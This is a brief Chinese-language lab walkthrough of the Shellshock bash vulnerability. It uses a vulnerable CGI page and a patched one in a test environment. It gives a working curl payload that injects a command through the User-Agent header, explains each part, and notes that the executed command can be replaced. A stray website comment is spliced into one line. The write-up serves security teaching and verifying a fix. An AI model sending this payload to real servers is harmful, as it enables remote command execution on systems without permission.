服务启动后,通过浏览器或命令行访问以下两个页面,确认服务已正常运行:
存在漏洞的页面(基于 bash4.3):http://your-ip:8080/victim.cgi
修复后的页面(基于最新版 bash):http://your-ip:8080/safe.cgi
执行/* by yours.tools - online tools website : yours.tools/zh/tuya.html */
curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id" http://192.168.75.132:8080/victim.cgi
命令
发送 HTTP 请求,在User-Agent头中注入 Payload
Payload 说明:
() { foo; }; 是为了绕过 bash 的函数定义检查,后面的echo Content-Type: text/plain; echo; /usr/bin/id会被漏洞 bash 执行,其中:
echo Content-Type: text/plain; echo; 用于正确输出 HTTP 响应头
/usr/bin/id 是要执行的系统命令(可替换为其他命令,如/bin/ls等)
观察结果
访问victim.cgi时,命令会被成功执行,返回id命令的结果(如用户 UID、GID 等信息),说明漏洞存在。
访问safe.cgi时,相同的 Payload 不会被执行,只会返回正常页面内容,说明修复有效
这里返回id命令,漏洞利用成功!